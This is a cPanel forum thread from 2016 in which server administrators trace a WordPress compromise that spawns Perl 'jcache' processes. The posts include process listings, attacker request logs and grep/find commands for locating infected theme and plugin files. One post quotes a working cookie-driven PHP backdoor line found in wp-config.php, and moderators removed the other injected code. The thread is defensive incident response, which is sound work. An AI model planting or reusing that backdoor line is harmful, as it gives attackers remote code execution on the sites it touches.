The Community Forums

Interact with an entire community of cPanel & WHM users!
  1. This site uses cookies. By continuing to use this site, you are agreeing to our use of cookies. Learn More.

User tries to execute perl script and freeze my server

Discussion in 'Security' started by attiliok, Jul 12, 2016.

  1. attiliok

    attiliok Member

    Joined:
    Nov 13, 2013
    Messages:
    15
    Likes Received:
    0
    Trophy Points:
    1
    cPanel Access Level:
    Root Administrator
    Hello everybody,
    Every morning in the last days my server is experiencing very high load that sometimes completely freeze my server.
    Looking at the process manager from my cpanel, the problem seems to be one of my user that call many and many times this process:
    /usr/bin/perl ./jcache
    When I kill all those processes, things return normal, and server works again perfectly.
    I have never met something like this. I watched my "apache status" page and i found nothing related. I searched google with no luck.

    Thanks in advance for you help.
     
  2. cPanelMichael

    cPanelMichael Forums Analyst
    Staff Member

    Joined:
    Apr 11, 2011
    Messages:
    30,723
    Likes Received:
    660
    Trophy Points:
    113
    cPanel Access Level:
    Root Administrator
    Hello,

    Have you consulted with the user to determine what their application is doing that is causing excessive usage? It could be an issue with their script, or just the overall usage from Jcache. More information on Jcache is available at:

    JCache is Final! I Repeat: JCache is Final! (The Aquarium)

    Thank you.
     
  3. attiliok

    attiliok Member

    Joined:
    Nov 13, 2013
    Messages:
    15
    Likes Received:
    0
    Trophy Points:
    1
    cPanel Access Level:
    Root Administrator
    Thanks for the answer.
    My user knows nothing about java application installed. He have just set up wordpress site without installing nothing special.
    I can't figure out how this jcache process is called because nothing is shown in the "apache status" page or in the "access log".
     
  4. MironJ

    MironJ Active Member

    Joined:
    Dec 9, 2009
    Messages:
    40
    Likes Received:
    0
    Trophy Points:
    6
    cPanel Access Level:
    Root Administrator
    Hello,

    Looks like some WP exploit.
    We have same issue on one user account with WP installed. It's an old installation, but client does not know anything about jcache or something similar.

    Looking for outgoing connections to port 80 with lsof:

    #while true; do lsof -i -P | grep :80; done
    Code:
    jcache    179157        haluzora    4u  IPv4 1608847915      0t0  TCP our.web.server:42717->ns.farmers.co.kr:80 (ESTABLISHED)
    jcache    179359        haluzora    4u  IPv4 1608847895      0t0  TCP our.web.server:43843->ip-143-95-106-251.iplocal:80 (ESTABLISHED)
    jcache    179361        haluzora    4u  IPv4 1608847980      0t0  TCP our.web.server:39928->ip-143-95-239-41.iplocal:80 (SYN_SENT)
    jcache    179369        haluzora    4u  IPv4 1608847756      0t0  TCP our.web.server:59540->81.19.186.240:80 (ESTABLISHED)
    jcache    179371        haluzora    4u  IPv4 1608847821      0t0  TCP our.web.server:60486->gears.myiacon.com:80 (ESTABLISHED)
    jcache    271667        haluzora    4u  IPv4 1608846031      0t0  TCP our.web.server:45412->ip-184-168-221-96.ip.secureserver.net:80 (SYN_SENT)
    jcache    271670        haluzora    4u  IPv4 1608845789      0t0  TCP our.web.server:45377->ip-184-168-221-96.ip.secureserver.net:80 (SYN_SENT)
    jcache    271674        haluzora    4u  IPv4 1608846160      0t0  TCP our.web.server:57483->ip-184-168-221-38.ip.secureserver.net:80 (SYN_SENT)
    jcache    271679        haluzora    4u  IPv4 1608847908      0t0  TCP our.web.server:33304->www13.cpt3.host-h.net:80 (ESTABLISHED)
    
    #ps auxf | grep jcache
    Code:
    haluzora  179157  0.2  0.0 125020 44616 ?        SN   01:12   2:31 /usr/bin/perl ./jcache
    haluzora  179359  0.2  0.1 162308 82400 ?        SN   01:12   2:18 /usr/bin/perl ./jcache
    haluzora  179361  0.3  0.1 169128 88228 ?        SN   01:12   3:17 /usr/bin/perl ./jcache
    haluzora  179369  0.2  0.1 173360 94092 ?        SN   01:12   2:36 /usr/bin/perl ./jcache
    haluzora  179371  0.3  0.2 260152 179636 ?       SN   01:12   2:42 /usr/bin/perl ./jcache
    haluzora  271667  0.2  0.0 100676 23624 ?        SN   07:08   1:23 /usr/bin/perl ./jcache
    haluzora  271670  0.3  0.0 105368 28340 ?        SN   07:08   1:44 /usr/bin/perl ./jcache
    haluzora  271674  0.2  0.1 204432 126044 ?       SN   07:08   1:25 /usr/bin/perl ./jcache
    haluzora  271677  0.7  0.2 235376 157512 ?       SN   07:08   3:55 /usr/bin/perl ./jcache
    haluzora  271679  0.2  0.2 240120 160620 ?       SN   07:08   1:33 /usr/bin/perl ./jcache
    
    Any help appreciated
     
  5. attiliok

    attiliok Member

    Joined:
    Nov 13, 2013
    Messages:
    15
    Likes Received:
    0
    Trophy Points:
    1
    cPanel Access Level:
    Root Administrator
    It's an old installation in my case too. I tried to update wordpress and now i'm monitoring the situation.
    Please post any other update about this issue.

    Thanks.
     
  6. MironJ

    MironJ Active Member

    Joined:
    Dec 9, 2009
    Messages:
    40
    Likes Received:
    0
    Trophy Points:
    6
    cPanel Access Level:
    Root Administrator
    Update, POST requests that activated this "jcache" processes:

    Code:
    198.71.227.54 - - [12/Jul/2016:05:09:34 +0200] "POST /1.php HTTP/1.1" 200 78088 "-" "Mozilla/5.0 (Windows NT 6.0; rv:16.0) Gecko/20130722 Firefox/16.0"
    198.71.227.54 - - [12/Jul/2016:05:09:36 +0200] "POST /abc.php HTTP/1.1" 200 78090 "-" "Mozilla/5.0 (Windows NT 6.0; rv:16.0) Gecko/20130722 Firefox/16.0"
    198.71.227.54 - - [12/Jul/2016:05:09:37 +0200] "POST /bookmark.php HTTP/1.1" 200 78095 "-" "Mozilla/5.0 (Windows NT 6.0; rv:16.0) Gecko/20130722 Firefox/16.0"
    198.71.227.54 - - [12/Jul/2016:05:09:38 +0200] "POST /CHANGELOG.php HTTP/1.1" 200 78096 "-" "Mozilla/5.0 (Windows NT 6.0; rv:16.0) Gecko/20130722 Firefox/16.0"
    198.71.227.54 - - [12/Jul/2016:05:09:39 +0200] "POST /configbak.php HTTP/1.1" 200 78096 "-" "Mozilla/5.0 (Windows NT 6.0; rv:16.0) Gecko/20130722 Firefox/16.0"
    198.71.227.54 - - [12/Jul/2016:05:09:40 +0200] "POST /configbak.php HTTP/1.1" 200 78096 "-" "Mozilla/5.0 (Windows NT 6.0; rv:16.0) Gecko/20130722 Firefox/16.0"
    198.71.227.54 - - [12/Jul/2016:05:09:45 +0200] "POST /configuration.php HTTP/1.1" 200 78100 "-" "Mozilla/5.0 (Windows NT 6.0; rv:16.0) Gecko/20130722 Firefox/16.0"
    198.71.227.54 - - [12/Jul/2016:05:09:46 +0200] "POST /conns.php HTTP/1.1" 200 78092 "-" "Mozilla/5.0 (Windows NT 6.0; rv:16.0) Gecko/20130722 Firefox/16.0"
    198.71.227.54 - - [12/Jul/2016:05:09:47 +0200] "POST /conns.php HTTP/1.1" 200 78092 "-" "Mozilla/5.0 (Windows NT 6.0; rv:16.0) Gecko/20130722 Firefox/16.0"
    198.71.227.54 - - [12/Jul/2016:05:09:49 +0200] "POST /cron.php HTTP/1.1" 200 78091 "-" "Mozilla/5.0 (Windows NT 6.0; rv:16.0) Gecko/20130722 Firefox/16.0"
    198.71.227.54 - - [12/Jul/2016:05:09:51 +0200] "POST /css.php HTTP/1.1" 200 78090 "-" "Mozilla/5.0 (Windows NT 6.0; rv:16.0) Gecko/20130722 Firefox/16.0"
    198.71.227.54 - - [12/Jul/2016:05:09:52 +0200] "POST /elements.php HTTP/1.1" 200 78095 "-" "Mozilla/5.0 (Windows NT 6.0; rv:16.0) Gecko/20130722 Firefox/16.0"
    198.71.227.54 - - [12/Jul/2016:05:09:53 +0200] "POST /extracts.php HTTP/1.1" 200 78095 "-" "Mozilla/5.0 (Windows NT 6.0; rv:16.0) Gecko/20130722 Firefox/16.0"
    198.71.227.54 - - [12/Jul/2016:05:09:54 +0200] "POST /gemb.php HTTP/1.1" 200 78091 "-" "Mozilla/5.0 (Windows NT 6.0; rv:16.0) Gecko/20130722 Firefox/16.0"
    198.71.227.54 - - [12/Jul/2016:05:09:55 +0200] "POST /home.bak.php HTTP/1.1" 200 78095 "-" "Mozilla/5.0 (Windows NT 6.0; rv:16.0) Gecko/20130722 Firefox/16.0"
    198.71.227.54 - - [12/Jul/2016:05:09:57 +0200] "POST /include.php HTTP/1.1" 200 78094 "-" "Mozilla/5.0 (Windows NT 6.0; rv:16.0) Gecko/20130722 Firefox/16.0"
    198.71.227.54 - - [12/Jul/2016:05:09:58 +0200] "POST /index2.php HTTP/1.1" 200 78093 "-" "Mozilla/5.0 (Windows NT 6.0; rv:16.0) Gecko/20130722 Firefox/16.0"
    198.71.227.54 - - [12/Jul/2016:05:09:59 +0200] "POST /index.php?liu=qt&fukq=t&RNv=f HTTP/1.1" 200 589 "-" "Mozilla/5.0 (Windows NT 6.0; rv:16.0) Gecko/20130722 Firefox/16.0"
    
    178.33.237.72 - - [13/Jul/2016:11:05:32 +0200] "POST /index.php?liu=qt&fukq=t&RNv=f HTTP/1.1" 200 7259 "-" "Mozilla/5.0 (Windows NT 6.0; rv:16.0) Gecko/20130824 Firefox/16.0"
    178.33.237.72 - - [13/Jul/2016:11:05:40 +0200] "POST /index.php?liu=qt&fukq=t&RNv=f HTTP/1.1" 200 671 "-" "Mozilla/5.0 (Windows NT 6.0; rv:16.0) Gecko/20130824 Firefox/16.0"
    178.33.237.72 - - [13/Jul/2016:11:05:41 +0200] "POST /index.php?liu=qt&fukq=t&RNv=f HTTP/1.1" 200 630 "-" "Mozilla/5.0 (Windows NT 6.0; rv:16.0) Gecko/20130824 Firefox/16.0"
    178.33.237.72 - - [13/Jul/2016:11:05:44 +0200] "POST /index.php?liu=qt&fukq=t&RNv=f HTTP/1.1" 200 634 "-" "Mozilla/5.0 (Windows NT 6.0; rv:16.0) Gecko/20130824 Firefox/16.0"
    
     
  7. MironJ

    MironJ Active Member

    Joined:
    Dec 9, 2009
    Messages:
    40
    Likes Received:
    0
    Trophy Points:
    6
    cPanel Access Level:
    Root Administrator
    Ok, I found it. It's theme "404.php" file with inserted code like this:

    shortened with dots (.....):

    [Removed]
     
    #7 MironJ, Jul 13, 2016
    Last edited by a moderator: Jul 13, 2016
  8. cPanelMichael

    cPanelMichael Forums Analyst
    Staff Member

    Joined:
    Apr 11, 2011
    Messages:
    30,723
    Likes Received:
    660
    Trophy Points:
    113
    cPanel Access Level:
    Root Administrator
    I'm happy to see you were able to determine the source of the exploit. Thank you for taking the time to update this thread with your findings.
     
  9. attiliok

    attiliok Member

    Joined:
    Nov 13, 2013
    Messages:
    15
    Likes Received:
    0
    Trophy Points:
    1
    cPanel Access Level:
    Root Administrator
    Thanks!
    I really can't find anything like this in my account dirs. I have tried "grep -ril 'wowex' ./*" and "grep -ril '_g_g_' ./*" but nothing is found in the files. The only result is for "wowex" in some account email.
    Can you suggest some useful command or operation to find out where is my hacked code?

    Thanks in advance.
     
  10. MironJ

    MironJ Active Member

    Joined:
    Dec 9, 2009
    Messages:
    40
    Likes Received:
    0
    Trophy Points:
    6
    cPanel Access Level:
    Root Administrator
    Well, probably variable names are not the same in the every case.
    But for beginning check all "404.php" and "functions.php" files, under every installed theme.

    php code added into theme "functions.php" at the very beginning of the file.
    [Removed]
     
    #10 MironJ, Jul 13, 2016
    Last edited by a moderator: Jul 13, 2016
  11. attiliok

    attiliok Member

    Joined:
    Nov 13, 2013
    Messages:
    15
    Likes Received:
    0
    Trophy Points:
    1
    cPanel Access Level:
    Root Administrator
    YEEESS! It was in functions.php. Thanks very much for your help.

    Here my malicious code:

    [Removed]
     
    #11 attiliok, Jul 13, 2016
    Last edited by a moderator: Jul 13, 2016
  12. MironJ

    MironJ Active Member

    Joined:
    Dec 9, 2009
    Messages:
    40
    Likes Received:
    0
    Trophy Points:
    6
    cPanel Access Level:
    Root Administrator
    Excellent, I'm glad to see you found it ;)

    And immediately update WP, all plugins and themes to the latest available versions and be sure to change WP admin password.

    Please update this thread if the same issue with "jcache" process occur in the next few days.
     
  13. attiliok

    attiliok Member

    Joined:
    Nov 13, 2013
    Messages:
    15
    Likes Received:
    0
    Trophy Points:
    1
    cPanel Access Level:
    Root Administrator
    Problem not solved yet... jcache is going on again freezing my server. Probably I have some more infected file but i cannot find it.
    I will look for it again.
     
  14. MironJ

    MironJ Active Member

    Joined:
    Dec 9, 2009
    Messages:
    40
    Likes Received:
    0
    Trophy Points:
    6
    cPanel Access Level:
    Root Administrator
    Definitely, I found infected files under plugins too (/wp-content/plugins/libravatar-replace/).

    Search for "jcache" file or files with "/usr/bin/perl" or "urldecode" content:

    Code:
    find . -type f -exec grep "urldecode" {} \; -print
    
     
  15. attiliok

    attiliok Member

    Joined:
    Nov 13, 2013
    Messages:
    15
    Likes Received:
    0
    Trophy Points:
    1
    cPanel Access Level:
    Root Administrator
    Thanks, but i didn't find anything infected. I have tried also "base64". And I searched in all the user directory.
    Now i changed ftp/mysql password too. I will post update.
     
  16. attiliok

    attiliok Member

    Joined:
    Nov 13, 2013
    Messages:
    15
    Likes Received:
    0
    Trophy Points:
    1
    cPanel Access Level:
    Root Administrator
    Quttera malware scanner says that this line in wp-config.php is malicious:
    if (isset($_COOKIE["id"])) @$_COOKIE["user"]($_COOKIE["id"]);

    Do you think it's right?
     
  17. attiliok

    attiliok Member

    Joined:
    Nov 13, 2013
    Messages:
    15
    Likes Received:
    0
    Trophy Points:
    1
    cPanel Access Level:
    Root Administrator
    I found out on google: yes it's malicious! I cleaned it.
    I hope this time the jcache problem will never come back!
    Thanks for your help!
     
  18. cPanelMichael

    cPanelMichael Forums Analyst
    Staff Member

    Joined:
    Apr 11, 2011
    Messages:
    30,723
    Likes Received:
    660
    Trophy Points:
    113
    cPanel Access Level:
    Root Administrator
Loading...

Share This Page